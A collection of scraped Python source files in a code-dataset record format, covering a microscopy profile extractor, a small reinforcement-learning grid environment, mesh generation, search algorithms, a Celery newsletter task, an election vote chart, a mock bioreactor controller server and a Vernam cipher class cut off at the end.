str, help = \"\"\"\n\tPath to output directory where the output should be written to.\"\"\")\nparser.add_argument('-t', '--threads', metavar = 'nthreads', type = int,\n\tdefault = 1, help = \"\"\"Number of threads to be used for parallelization.\"\"\")\n\n# Version flag\nversion = \"0.0.1\"\nparser.add_argument('--version', action = 'version',\n\tversion = '%s v%s' % (sys.argv[0], version,))\n\n# Parse arguments\nargs = parser.parse_args()\n\nassert os.path.isdir(args.rootdir)\nif type(None) == type(args.outdir):\n\targs.outdir = os.path.dirname(args.rootdir)\nelse:\n\tassert os.path.isdir(args.outdir)\n\nif 0 != len(args.suffix):\n\tif not args.suffix.startswith(\".\"):\n\t\targs.suffix = f\".{args.suffix}\"\n\nargs.threads = check_threads(args.threads)\n\nprint(f'''\n # {sys.argv[0]} v{version}\n\n Prefix : {args.prefix}\n Root : {args.rootdir}\n Selected : {args.selected}\n Suffix : \"{args.suffix}\"\n Output : {args.outdir}\n #bins : {args.nbins}\n #threads : {args.threads}\n''')\n\n# FUNCTIONS ====================================================================\n\ndef mkStatProfile(data, k):\n\td = {}\n\tif 0 != len(data):\n\t\td[k+'_mean'] = [np.nanmean(data)]\n\t\td[k+'_median'] = [np.nanmedian(data)]\n\telse:\n\t\td[k+'_mean'] = [np.nan]\n\t\td[k+'_median'] = [np.nan]\n\treturn(d)\n\ndef get_nucleus_profile(fname, args):\n\tfname = f\"{fname}.vx.tsv\"\n\n\tbins = [{\"mid\":(breaks[i]+breaks[i+1])/2,\"dna\":[],\"sig\":[],\"rat\":[]}\n\t\tfor i in range(args.nbins)]\n\n\twith open(os.path.join(args.rootdir, fname), \"r\") as IH:\n\t\tdrop = next(IH)\n\t\tfor line in IH:\n\t\t\tdata = line.strip().split(\"\\t\")\n\n\t\t\tx = float(data[5])\n\t\t\tfor bid in range(args.nbins):\n\t\t\t\tif breaks[bid] >= x:\n\t\t\t\t\tbreak\n\n\t\t\tbins[bid]['dna'].append(float(data[0]))\n\t\t\tbins[bid]['sig'].append(float(data[1]))\n\t\t\tbins[bid]['rat'].append(float(data[2]))\n\n\tfor bid in range(len(bins)):\n\t\tbinData = {\"mid\":[bins[bid]['mid']], \"eid\":eid, \"sn\":fname.split(args.prefix)[0]}\n\t\tfor k in ['dna', 'sig', 'rat']:\n\t\t\tbinData.update(mkStatProfile(bins[bid][k], k))\n\t\tbins[bid] = pd.DataFrame.from_dict(binData)\n\t\n\treturn pd.concat(bins).reset_index(drop = True)\n\n# RUN ==========================================================================\n\nflist = os.listdir(args.rootdir)\n\nmeta = {}\nfor fname in flist:\n\tif fname.endswith(\".vx.tsv\"):\n\t\teid = args.prefix + fname.split(\"_\")[0].split(args.prefix)[1]\n\t\tif eid not in meta.keys():\n\t\t\tmeta[eid] = [fname.split(\".\")[0]]\n\t\telse:\n\t\t\tmeta[eid].append(fname.split(\".\")[0])\n\nselectedNuclei = set()\nif type(None) != type(args.selected):\n\tassert os.path.isfile(args.selected)\n\tnTable = pd.read_csv(args.selected, sep = \"\\t\")\n\treqCols = (\"condition\", \"sid\", \"nid\")\n\n\tassert all([x in nTable.columns for x in reqCols])\n\tfor i in range(nTable.shape[0]):\n\t\tn = nTable.loc[i]\n\t\tsignature = f's{n[\"sid\"]}n{n[\"nid\"]}{n[\"condition\"]}'\n\t\tselectedNuclei.add(signature)\n\n\tassert 0 != np.sum([len(meta[x]) for x in meta.keys()])\n\tfor eid in meta.keys():\n\t\tmeta[eid] = [n for n in meta[eid] if n in selectedNuclei]\n\nassert 0 != np.sum([len(meta[x]) for x in meta.keys()])\n\nbreaks = np.linspace(0, 1, args.nbins+1)\nallData = []\neidn = 0\nfor eid in sorted(meta.keys()):\n\tprofiles = Parallel(n_jobs = args.threads, verbose = 0)(\n\t delayed(get_nucleus_profile)(fname, args)\n\t for fname in tqdm(meta[eid],\n\t \tdesc = f'{eidn+1}/{len(meta)} {eid} [n.threads={args.threads}]'))\n\tallData.extend(profiles)\n\teidn += 1\n\nprint(\"Merging and writing...\")\npd.concat(allData).reset_index(drop = True).to_csv(\n\tos.path.join(args.outdir, f'nuclear.profiles{args.suffix}.tsv'),\n\tsep = '\\t', index = False, header = True)\n\n# END ==========================================================================\n\n################################################################################\n","sub_path":"src/extract_nuclear_profiles.py","file_name":"extract_nuclear_profiles.py","file_ext":"py","file_size_in_byte":5268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"276801224","text":"import numpy as np\nfrom time import sleep\nfrom ttkthemes import ThemedTk as tk\nfrom tkinter import ttk\n\nclass Window:\n def __init__(self):\n self.root = tk(theme='radiance')\n #self.root.get_themes()\n #self.root.set_theme('radiance')\n self.b = ttk.Button(self.root,text='hola')\n self.b.pack()\n self.root.mainloop()\n#w = Window()\n\nY_REGION = 16\nX_REGION = 20\nINITIAL_STATE = (0.5,0.5)\nGOAL = ((4.3,5.3),(8.9,9.9))\nOBSTACLES = []\nNUM_MAGNITUDES_OF_EACH_BEHAVIOR = 5\nNUM_BEHAVIORS = 4\nTOTAL_OUTPUTS = NUM_MAGNITUDES_OF_EACH_BEHAVIOR*NUM_BEHAVIORS\ndef ReLU(z):\n z[z<0] = 0\n return z\ndef ReLU_prime(z):\n z[z>0] = 1\n z[z<=0] = 0\n return z\ndef get_center(ranges):\n center =(ranges[0][0] + ranges[0][1])/2,(ranges[1][0] + ranges[1][1])/2\n return center\ndef get_euclidean_distance_to_goal(state,goal):\n s = state\n g = goal\n x_dist = np.abs(s[1]-g[1])\n y_dist = np.abs(s[0]-g[0])\n euc_dis = np.sqrt(np.power(x_dist,2)+np.power(y_dist,2))\n return euc_dis\nclass Environment:\n def __init__(self,y_region,x_region,initial_state,goal):\n self.y_region = y_region\n self.x_region = x_region\n self.initial_state = initial_state\n self.state = initial_state\n self.goal = goal\n self.goal_center = get_center(self.goal)\n self.terminal = False\n self.last_state = None\n self.last_distance_to_goal = get_euclidean_distance_to_goal(self.state,self.goal_center)\n self.behavior_step = 1\n self.jump_distance = 2\n #self.magnitud_of_movement =\n def next_state(self,behavior,value):\n self.last_state = self.state\n y = 0\n x = 0\n #print('v',value)\n #print('b',behavior)\n nmoeb = NUM_MAGNITUDES_OF_EACH_BEHAVIOR\n if 0<=behavior<=nmoeb-1:\n # print('0-2')\n y = -0.5 - behavior*self.jump_distance\n elif nmoeb<=behavior<=2*nmoeb-1:\n # print('3-5')\n x = -0.5 - (behavior-nmoeb)*self.jump_distance\n elif 2*nmoeb<=behavior<=3*nmoeb-1:\n # print('6-8')\n y = 0.5 + (behavior-2*nmoeb)*self.jump_distance\n elif 3*nmoeb<=behavior<=4*nmoeb-1:\n # print('9-11')\n x = 0.5 + (behavior-3*nmoeb)*self.jump_distance\n# if behavior == 0:\n# y =-self.behavior_step\n# elif behavior == 1:\n# x =-self.behavior_step\n# elif behavior == 2:\n# y = self.behavior_step\n# elif behavior == 3:\n# x = self.behavior_step\n if 0 <= self.state[1] + x <= X_REGION and 0 <= self.state[0] + y <= Y_REGION:\n #sección para colocar código que verifique si el agente esta dentro de\n #una región de un bloque\n self.state = (self.state[0]+y ,self.state[1]+x)\n return self.state\n\n def get_reward(self):\n new_dist = get_euclidean_distance_to_goal(self.state,self.goal_center)\n if self.goal[0][0]<=self.state[0]<=self.goal[0][1] and \\\n self.goal[1][0]<=self.state[1]<=self.goal[1][1]:\n self.terminal = True\n return 1\n\n# elif new_distmin_eps:\n agent.eps *=eps_decaying_factor\n agent.lr *=lr_decaying_factor\n\n print('GOAL',env.goal_center,episodes[-1])\n","sub_path":"shallow_nn_rl_distance.py","file_name":"shallow_nn_rl_distance.py","file_ext":"py","file_size_in_byte":8450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"432537910","text":"import os, math\n\nfrom opendm import log\nfrom opendm import io\nfrom opendm import system\nfrom opendm import context\nfrom opendm import mesh\nfrom opendm import gsd\nfrom opendm import types\n\n\ndef mesh_3d(odm_mesh_folder,odm_mesh_ply, filter_point_cloud_path, max_concurrency):\n if not io.file_exists(odm_mesh_ply):\n log.ODM_INFO('Writing ODM Mesh file in: %s' % odm_mesh_ply)\n oct_tree =10\n samples = 1.0\n max_vertex = 200000\n point_weight = 4\n verbose = False\n mesh.screened_poisson_reconstruction(filter_point_cloud_path,\n odm_mesh_ply,\n depth=oct_tree,\n samples=samples,\n maxVertexCount=max_vertex,\n pointWeight=point_weight,\n threads=max(1, max_concurrency- 1), # poissonrecon can get stuck on some machines if --threads == all cores\n verbose=verbose)\n\n else:\n log.ODM_WARNING('Found a valid ODM Mesh file in: %s' %\n odm_mesh_ply)\n","sub_path":"mesh_interface.py","file_name":"mesh_interface.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"237956553","text":"def linearSearch(arr, x): \r\n for i in range(len(arr)): \r\n if arr[i] == x: \r\n return i \r\n\r\ndef binary_search(arr, x): \r\n low = 0\r\n high = len(arr) - 1\r\n mid = 0\r\n \r\n while low <= high: \r\n mid = (high + low) // 2\r\n if arr[mid] < x: \r\n low = mid + 1\r\n\r\n elif arr[mid] > x: \r\n high = mid - 1\r\n \r\n else: \r\n return mid \r\n \r\n \r\narr = [ 2, 3, 4, 10, 40 ] \r\nx = 10\r\n \r\n\r\nopt = input(\"enter l or b for searching\")\r\nif opt == \"b\":\r\n result= binary_search(arr,x)\r\n print(\"binary search\")\r\n print(result)\r\n \r\nelif opt == \"l\":\r\n result= linearSearch(arr,x)\r\n print(\"linear search\")\r\n print(result)\r\n","sub_path":"prac5.py","file_name":"prac5.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"440529098","text":"from celery import shared_task\nfrom .models import Post, Category\nfrom datetime import datetime\nfrom django.template.loader import render_to_string\nfrom django.core.mail import EmailMultiAlternatives\nimport time\n\n@shared_task\ndef my_job():\n tags_post_dict = {}\n tags_users_dict = {}\n list_of_posts = []\n list_of_users = []\n tags_subs = {}\n for tag in Category.objects.all():\n tags_post_dict[tag.tag] = Post.objects.filter(create_time__gt= datetime.fromtimestamp(datetime.timestamp(datetime.now()) - 604800), categories=tag)\n tags_users_dict[tag.tag] = Category.objects.get(tag=tag).subscribers.all()\n list_of_posts.append(Post.objects.filter(create_time__gt= datetime.fromtimestamp(datetime.timestamp(datetime.now()) - 604800), categories=tag))\n\n\n for tag in Category.objects.all():\n posts = tags_post_dict[tag.tag]\n users = tags_users_dict[tag.tag]\n emails = []\n for user in users:\n emails.append(user.email)\n html_content = render_to_string(\n '../templates/weekly_subscription.html',\n {\n 'posts': posts, 'tag': tag.tag,\n }\n )\n msg = EmailMultiAlternatives(\n subject='Недельная рассылка новостей',\n body='',\n from_email='zagaalexey@yandex.ru',\n to= emails\n )\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()","sub_path":"news/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"576731088","text":"'''\nThis script produces a bar graph of candidate votes for the original election. Only the original election dataset\nis required. \nEthan Eason, August 2019\n'''\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\nimport numpy as np\n\n# reads in data for the original election\ndf_path = os.path.join('D:/Honduras Project Data', 'Honduras_Election_Data.csv')\ndf = pd.read_csv(df_path)\n\n# arrays to store all candidate's respective vote shares in the original election\nJADN = np.sum(df['JADN']) # JOSE ALFONSO DIAZ NARVAEZ\nSACNS = np.sum(df['SACNS']) # SALVADOR ALEJANDRO CESAR NASRALLA SALUM\nEVR = np.sum(df['EVR']) # ELISEO VALLECILLO REYES\nLEAP = np.sum(df['LEAP']) # LUCAS EVANGELISTO AGUILERA PINEDA\nLOZM = np.sum(df['LOZM']) # LUIS ORLANDO ZELAYA MEDRANO\nROVV = np.sum(df['ROVV']) # ROMEO ORLANDO VASQUEZ VELASQUEZ\nIFA = np.sum(df['IFA']) # ISAIAS FONSECA AGUILAR\nMEAC = np.sum(df['MEAC']) # MARLENE ELIZABETH ALVARENGA CASTELLANOS\nJOHA = np.sum(df['JOHA']) # JUAN ORLANDO HERNANDEZ ALVARADO\n\n# produces bar graph of candidate votes in the original election\nN = 9\nvotes = (JADN, SACNS, EVR, LEAP, LOZM, ROVV, IFA, MEAC, JOHA)\nspc = np.arange(N)\nplt.bar(spc, votes)\nplt.ylabel('Valid Votes')\nplt.xlabel('Candidate')\nplt.xticks(spc, ('JADN', 'SACNS', 'EVR', 'LEAP', 'LOZM', 'ROVV', 'IFA', 'MEAC', 'JOHA'))\nplt.title('Candidate Vote Totals')\nplt.show()\n","sub_path":"analytics/candidate_votes_bar.py","file_name":"candidate_votes_bar.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"81750696","text":"\"\"\"\n\nCreated by: Nathan Starkweather\nCreated on: 11/04/2014\nCreated in: PyCharm Community Edition\n\n\n\"\"\"\nfrom collections import OrderedDict\nfrom hello.mock.util import nextroutine, HelloXMLGenerator, simple_xml_dump, json_dumps\n\n__author__ = 'Nathan Starkweather'\n\nfrom math import sin as _sin, pi as _pi\nfrom time import time as _time\nfrom xml.etree.ElementTree import Element, SubElement\n\n\n@nextroutine\ndef sin_wave(amplitude, period, middle=0, offset=0, gen=None, trigfunc=None):\n \"\"\"\n @param amplitude: Size of wave (int)\n @param period: period of wave (in units returned from gen)\n @param middle: verticle offset of wave\n @param offset: horizontal offset of wave\n @param gen: infinite iterator. each new value is used to \"step_main_values\" output. default to time().\n @param trigfunc: trig function to use in mainloop. default to math.sin().\n \"\"\"\n if gen is None:\n gen = _time\n pi = _pi\n if trigfunc is None:\n trigfunc = _sin\n\n pi_over_180 = pi / 180\n start = gen()\n while True:\n t = gen() - start\n result = amplitude * trigfunc((t / period) * pi_over_180 + offset) + middle\n yield t, result\n\n\n@nextroutine\ndef simple_wave(xfunc, yfunc):\n \"\"\"\n @param xfunc: infinite generator accepting no arguments, yielding x values\n @param yfunc: infinite generator accepting a single argument form xfunc, yielding f(x) values\n \"\"\"\n start = xfunc()\n yield start, yfunc(start)\n while True:\n x = xfunc() - start\n yield x, yfunc(x)\n\n\n@nextroutine\ndef multiwave(waves, middle=0):\n \"\"\"\n @param waves: a list or tuple of wave funcs. waves 'middle' argument\n must be all be 0 to work properly.\n @param middle: the middle of the waves\n \"\"\"\n\n if not waves:\n raise ValueError(\"Waves is empty\")\n\n # ensure that the waves iterable is a) a container and not a iterator,\n # and b) can't be weirdly modified by passing in a mutable list\n waves = tuple(waves)\n\n # why did I bother unrolling these loops???\n if len(waves) == 1:\n w = waves[0]\n startx, y = w()\n yield startx, y + middle\n while True:\n x, y = w()\n yield x - startx, y + middle\n\n # for the loops with multiple waves, only the x value\n # for the *first* function is taken into effect\n # don't abuse this!\n elif len(waves) == 2:\n w1, w2 = waves\n startx, y1 = w1()\n _, y2 = w2()\n yield startx, y1 + y2 + middle\n while True:\n x1, y1 = w1()\n _, y2 = w2()\n yield x1 - startx, y1 + y2 + middle\n\n elif len(waves) == 3:\n w1, w2, w3 = waves\n startx, y1 = w1()\n _, y2 = w2()\n _, y3 = w3()\n yield startx, middle + y1 + y2 + y3\n while True:\n x, y1 = w1()\n _, y2 = w2()\n _, y3 = w3()\n yield x - startx, middle + y1 + y2 + y3\n\n # general case.\n # reverse the order of waves so that \"startx\" and \"x\" can be\n # reused within the loop body and end up containing the proper\n # values at the end\n rv = middle\n waves = waves[::-1]\n startx = x = 0\n for w in waves:\n startx, y = w()\n rv += y\n yield startx, rv\n\n while True:\n rv = middle\n waves = waves[::-1]\n for w in waves:\n x, y = w()\n rv += y\n yield x, rv\n\n\nclass BaseController():\n\n \"\"\" Base controller for Backend controllers.\n Controllers know:\n - Their current values\n - The appropriate units for each value (for getMainInfo)\n - How to turn the above into dict objects or Element trees.\n \"\"\"\n\n name_to_lv_type = {\n 'pv': 'SGL',\n 'sp': 'SGL',\n 'man': 'SGL',\n 'manUp': 'SGL',\n 'manDown': 'SGL',\n 'mode': 'U16',\n 'error': 'U16',\n 'interlocked': 'U32'\n }\n\n def __init__(self, name):\n \"\"\"\n @param name: Name of controller\n @type name: str\n @return:\n \"\"\"\n self.name = name\n self._history = []\n\n # these are just placeholders, and will be overridden\n # by subclasses.\n self.pv = 0\n self._pvgenerator = lambda: (0, 0)\n self.mv_attrs = (\"pv\",)\n self.mi_attrs = (\"pvUnit\",)\n\n def set_pvgen(self, gen):\n self._pvgenerator = gen\n\n def step(self):\n rv = self._pvgenerator()\n pv = rv[1]\n self.pv = pv\n self._history.append(rv)\n return pv\n\n def step2(self):\n rv = self._pvgenerator()\n self.pv = rv[1]\n self._history.append(rv)\n return rv # t, pv\n\n def mv_todict(self):\n return {'pv': self.pv}\n\n def mv_todict2(self):\n return OrderedDict((attr, getattr(self, attr)) for attr in self.mv_attrs)\n\n def mv_toxml(self, root=None):\n if root is None:\n cluster = Element('Cluster')\n else:\n cluster = SubElement(root, 'Cluster')\n cluster.text = '\\n'\n cluster.tail = \"\\n\"\n\n name = SubElement(cluster, \"Name\")\n name.text = self.name\n name.tail = \"\\n\"\n vals = SubElement(cluster, 'NumElts')\n vals.text = str(len(self.mv_attrs))\n vals.tail = \"\\n\"\n\n # python unifies number types into a single\n # type, so we have to use a separate mapping\n # to find the proper \"type\" label to wrap\n # the element in.\n for attr in self.mv_attrs:\n lv_type = self.name_to_lv_type[attr]\n typ = SubElement(cluster, lv_type)\n typ.text = \"\\n\"\n typ.tail = \"\\n\"\n\n name = SubElement(typ, \"Name\")\n name.text = attr\n name.tail = \"\\n\"\n val = SubElement(typ, \"Val\")\n\n if lv_type == 'SGL':\n val.text = \"%.5f\" % getattr(self, attr)\n else:\n val.text = \"%s\" % getattr(self, attr)\n val.tail = \"\\n\"\n\n return cluster\n\n def mv_toxml2(self):\n return [(attr, getattr(self, attr)) for attr in self.mv_attrs]\n\n def mi_toxml(self, root=None):\n if root is None:\n cluster = root = Element('Cluster')\n else:\n cluster = SubElement(root, 'Cluster')\n cluster.text = '\\n'\n name = SubElement(cluster, \"Name\")\n name.text = self.name\n NumElts = SubElement(cluster, \"NumElts\")\n NumElts.text = str(len(self.mi_attrs))\n for attr in self.mi_attrs:\n val = getattr(self, attr)\n string_ele = SubElement(cluster, \"String\")\n string_ele.text = '\\n'\n name_ele = SubElement(string_ele, \"Name\")\n name_ele.text = attr\n val_ele = SubElement(string_ele, \"Val\")\n val_ele.text = val\n\n return root\n\n def mi_todict(self):\n return OrderedDict((attr, getattr(self, attr)) for attr in self.mi_attrs)\n\n\nclass StandardController(BaseController):\n def __init__(self, name, pv=0, sp=20, man=5, mode=2, error=0, interlocked=0,\n pvUnit='', manUnit='', manName=''):\n\n super().__init__(name)\n self.pv = pv\n self.sp = sp\n self.man = man\n self.mode = mode\n self.error = error\n self.interlocked = interlocked\n self.pvUnit = pvUnit\n self.manUnit = manUnit\n self.manName = manName\n\n self.mv_attrs = 'pv', 'sp', 'man', 'mode', 'error', 'interlocked'\n self.mi_attrs = 'pvUnit', 'manUnit', 'manName'\n\n self.set_pvgen(sin_wave(5, 30, 15))\n\n def mv_todict(self):\n return {\n 'pv': self.pv,\n 'sp': self.sp,\n 'man': self.man,\n 'mode': self.mode,\n 'error': self.error,\n 'interlocked': self.interlocked\n }\n\n\nclass TwoWayController(BaseController):\n def __init__(self, name, pv=0, sp=20, manup=5, mandown=0, mode=2, error=0, \n interlocked=0, pvUnit='', manUpUnit='', manDownUnit='', manUpName='',\n manDownName=''):\n BaseController.__init__(self, name)\n self.pv = pv\n self.sp = sp\n self.manUp = manup\n self.manDown = mandown\n self.mode = mode\n self.error = error\n self.interlocked = interlocked\n self.pvUnit = pvUnit\n self.manUpUnit = manUpUnit\n self.manDownUnit = manDownUnit\n self.manUpName = manUpName\n self.manDownName = manDownName\n\n self.mv_attrs = 'pv', 'sp', 'manUp', 'manDown', 'mode', 'error', 'interlocked'\n self.mi_attrs = 'pvUnit', 'manUpUnit', 'manDownUnit', 'manUpName', 'manDownName'\n\n self.set_pvgen(sin_wave(3, 60, 50))\n\n def mv_todict(self):\n return {\n 'pv': self.pv,\n 'sp': self.sp,\n 'manUp': self.manUp,\n 'manDown': self.manDown,\n 'mode': self.mode,\n 'error': self.error,\n 'interlocked': self.interlocked\n }\n\n\nclass SmallController(BaseController):\n def __init__(self, name, pv=0, sp=0, mode=0, error=0, pvUnit=\"\"):\n BaseController.__init__(self, name)\n self.pv = pv\n self.sp = sp\n self.mode = mode\n self.error = error\n self.pvUnit = pvUnit\n\n self.mv_attrs = 'pv', 'mode', 'error'\n self.mi_attrs = 'pvUnit',\n\n self.set_pvgen(sin_wave(1, 10, 5))\n\n def mv_todict(self):\n return {\n 'pv': self.pv,\n 'mode': self.mode,\n 'error': self.error\n }\n\n\nclass AgitationController(StandardController):\n def __init__(self, pv=0, sp=20, man=5, mode=2, error=0, interlocked=0):\n StandardController.__init__(self, \"Agitation\", pv, sp, man, mode, error, interlocked)\n self.pvUnit = \"RPM\"\n self.manUnit = \"%\"\n self.manName = \"Percent Power\"\n self.mv_attrs = tuple(a for a in self.mv_attrs if a != 'interlocked')\n\n\nclass TemperatureController(StandardController):\n def __init__(self, pv=0, sp=20, man=5, mode=2, error=0, interlocked=0):\n StandardController.__init__(self, \"Temperature\", pv, sp, man, mode, error, interlocked)\n self.pvUnit = \"\\xb0C\"\n self.manUnit = \"%\"\n self.manName = \"Heater Duty\"\n\n\nclass pHController(TwoWayController):\n def __init__(self, pv=0, sp=20, manup=5, mandown=0, mode=2, error=0, interlocked=0):\n TwoWayController.__init__(self, \"pH\", pv, sp, manup, mandown, mode, error, interlocked)\n self.pvUnit = \"\"\n self.manUpUnit = \"%\"\n self.manDownUnit = \"%\"\n self.manUpName = \"Base\"\n self.manDownName = \"CO_2\"\n self.mv_attrs = tuple(a for a in self.mv_attrs if a != 'interlocked')\n\n\nclass DOController(TwoWayController):\n def __init__(self, pv=0, sp=20, manup=5, mandown=0, mode=2, error=0, interlocked=0):\n TwoWayController.__init__(self, \"DO\", pv, sp, manup, mandown, mode, error, interlocked)\n self.pvUnit = \"%\"\n self.manUpUnit = \"mL/min\"\n self.manDownUnit = \"%\"\n self.manUpName = \"O_2\"\n self.manDownName = \"N_2\"\n self.mv_attrs = tuple(a for a in self.mv_attrs if a != 'interlocked')\n\n\nclass MainGasController(StandardController):\n def __init__(self, pv=0, sp=0, mode=0, error=0, interlocked=0):\n StandardController.__init__(self, \"MainGas\", pv, sp, mode, error, interlocked)\n self.pvUnit = \"L/min\"\n self.manUnit = \"L/min\"\n self.manName = \"Total Flow\"\n self.mv_attrs = tuple(a for a in self.mv_attrs if a != 'sp')\n\n\nclass LevelController(SmallController):\n def __init__(self, pv=0, sp=0, mode=0, error=0):\n SmallController.__init__(self, \"Level\", pv, sp, mode, error)\n self.pvUnit = \"L\"\n\n\nclass FilterOvenController(SmallController):\n def __init__(self, pv=0, sp=0, mode=0, error=0):\n SmallController.__init__(self, \"Condenser\", pv, sp, mode, error)\n self.pvUnit = \"\\xb0C\"\n\n\nclass PressureController(SmallController):\n def __init__(self, pv=0, sp=0, mode=0, error=0):\n SmallController.__init__(self, \"Pressure\", pv, sp, mode, error)\n self.pvUnit = \"psi\"\n\n\nclass SecondaryHeatController(StandardController):\n def __init__(self, pv=0, sp=0, mode=0, error=0, interlocked=0):\n StandardController.__init__(self, \"SecondaryHeat\", pv, sp, mode, error, interlocked)\n self.pvUnit = \"\\xb0C\"\n self.manUnit = \"%\"\n self.manName = \"Heater Duty\"\n\n\nclass HelloStateError(Exception):\n pass\n\n\nclass AuthError(HelloStateError):\n \"\"\" generic permissions error \"\"\"\n pass\n\n\nclass LoginError(AuthError):\n \"\"\" specifically, bad username/password\n \"\"\"\n\n\nfrom time import time\n\n\nversion_info = OrderedDict((\n (\"RIO\", \"V12.1\"),\n (\"Server\", \"V3.1\"),\n (\"Model\", \"PBS 3\"),\n (\"Database\", \"V2.2\"),\n (\"Serial Number\", \"01459C77\"),\n (\"Magnetic Wheel\", True)\n))\n\n\nclass HelloState():\n\n def __init__(self):\n self.agitation = a = AgitationController(0, 20, 1, 0, 0, 0)\n self.temperature = t = TemperatureController(30, 37, 0, 0, 0, 0)\n self.ph = ph = pHController(7, 7.1, 5, 5, 0)\n self.do = d = DOController(50, 70, 15, 150, 0)\n self.maingas = m = MainGasController(0, 0, 0.5, 1)\n self.secondaryheat = sh = SecondaryHeatController(30, 37, 0, 0)\n self.level = l = LevelController(3)\n self.filteroven = f = FilterOvenController(40, 50)\n self.pressure = p = PressureController(0, 0, 0)\n\n self._mv_controller_array = a, t, sh, d, ph, p, l, f, m\n self._mi_controller_array = a, t, d, ph, p, l, f, sh, m\n\n self._login_info = {\n 'user1': '12345',\n 'pbstech': '727246',\n 'webuser1': '1'\n }\n self._logged_in = False\n self._last_login = 0\n\n self._version_info = version_info.copy()\n self.true_reply_xml_encoding = \"windows-1252\"\n\n self.xml_gen = HelloXMLGenerator()\n\n def step_main_values(self):\n for c in self._mv_controller_array:\n c.step()\n\n def get_dict_main_values(self):\n return OrderedDict((\n (\"result\", \"True\"),\n (\"message\", OrderedDict((c.name.lower(), c.mv_todict2()) for c in self._mv_controller_array))\n ))\n\n def get_update(self, json=True):\n self.step_main_values()\n return self.getMainValues(json)\n\n def get_xml_main_values(self):\n\n # I don't know why, but the server reply for the\n # real hello webserver returns main value controllers\n # in a different order if xml vs json is requested.\n # 4-15-15: XML is created via dump to string, JSON by format\n # existing string template.\n\n message = [(c.name, c.mv_toxml()) for c in self._mv_controller_array if c.name != 'SecondaryHeat']\n message.append((self.secondaryheat.name, self.secondaryheat.mv_toxml()))\n return self.xml_gen.hello_tree_from_msg(message, \"Message\")\n\n def getMainValues(self, json=True):\n if json:\n return json_dumps(self.get_dict_main_values())\n else:\n return self.xml_gen.tree_to_xml(self.get_xml_main_values(), 'windows-1252')\n\n def login(self, val1, val2, loader, skipvalidate):\n user = val1 # clarity\n pwd = val2 # clarity\n missing = object()\n if self._login_info.get(user.lower(), missing) == pwd:\n self._logged_in = True\n self._last_login = time()\n return True\n return False\n\n def logout(self):\n self._logged_in = False\n return True\n\n def getversion(self, json=False):\n\n message = self._version_info\n if json:\n reply = OrderedDict((\n (\"result\", \"True\"),\n (\"message\", message)\n ))\n rv = json_dumps(reply)\n else:\n rv = self.xml_gen.create_hello_xml(message, \"Versions\",\n \"True\", self.true_reply_xml_encoding)\n\n return rv\n\n def getmaininfo(self, json=False):\n message = OrderedDict((c.name, c.mi_todict()) for c in self._mi_controller_array)\n message['BioReactorModel'] = self._version_info['Model']\n message.move_to_end('SecondaryHeat')\n message.move_to_end('MainGas')\n if json:\n msg = json_dumps(OrderedDict((\n (\"result\", \"True\"),\n (\"message\", message)\n )))\n\n return msg.encode('utf-8')\n else:\n return self.xml_gen.create_hello_xml(message, \"Message\", \"True\", self.true_reply_xml_encoding)\n\n\ndef test1():\n from xml.etree.ElementTree import XML\n xml = HelloState().getMainValues(False)\n xml = XML(xml)\n for line in simple_xml_dump(xml).split():\n print(line)\n # dump(xml)\n\nif __name__ == '__main__':\n test1()\n","sub_path":"archive/mock/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":16740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"9964499","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport random\nimport string\n\n\nclass ChiffreVernam:\n\n \"\"\"\n Constructeur, on y initialise le texte à crypter ou décrypter,\n la liste des caractères à utiliser et la clé qui sera utilisée pour le cryptage\n \"\"\"\n def __init__(self, sText, aChars=list(\" ?!,.'\\\"\"+string.ascii_letters+string.digits)):\n if isinstance(sText, str) and sText.__len__() > 0:\n self.sText = sText\n else:\n raise Exception(\"La variable \\\"sText\\\" doit être une chaîne de caractères de longueur supérieur à 0!\")\n if isinstance(aChars, list) and aChars.__len__ > 10:\n self.aChars = aChars\n self.sMask = ''.join(random.choice(aChars) for x in range(self.sText.__len__()))\n else:\n raise Exception(\"La variable \\\"aChars\\\" doit être une liste avec un nombre de caractères supérieur à 10!\")\n\n \"\"\"\n Cette fonction permet de crypter un seul caractère en utilisant un masque\n \"\"\"\n def __cryptChar(self, actChar, maskChar):\n iActChar = self.aChars.index(actChar)\n iMaskChar = self.aChars.index(maskChar)\n iCryptedChar = iActChar+iMaskChar\n if iCryptedChar > (self.aChars.__len__()-1):\n iCryptedChar -= (self.aChars.__len__()-1)\n return self.aChars[iCryptedChar]\n\n \"\"\"\n Cette fonction permet de décrypter un seul caractère en utilisant\n le masque avec le quel on l'a crypté\n \"\"\"\n def __decryptChar(self, cryptedChar, maskChar):\n iCryptedChar = self.aChars.index(cryptedChar)\n iMaskChar = self.aChars.index(maskChar)\n iActChar = iCryptedChar-iMaskChar\n if iActChar < 0:\n iActChar += (self.aChars.__len__()-1)\n return self.aChars[iActChar]\n\n \"\"\"\n Cette fonction fait appel à la fonction __cryptChar pour\n crypter le texte en utilisant la clé généré dans le constructeur.\n \"\"\"\n def cryptText(self):\n sCrypted = \"\"\n for iKey, cValue in enumerate(self.sText):\n sCrypted += self.__cryptChar(cValue, self.sMask[iKey])\n return sCrypted\n\n \"\"\"\n Cette fonction fait appel à la fonction __decryptChar pour décrypter\n le texte en utilisant la clé qu'on doit passer en paramètre.\n \"\"\"\n def decryptText(self, sMask):\n sDecrypted = \"\"\n for iKey, cValue in enumerate(self.sText):\n sDecrypted += self.__decryptChar(cValue, sMask[iKey])\n return 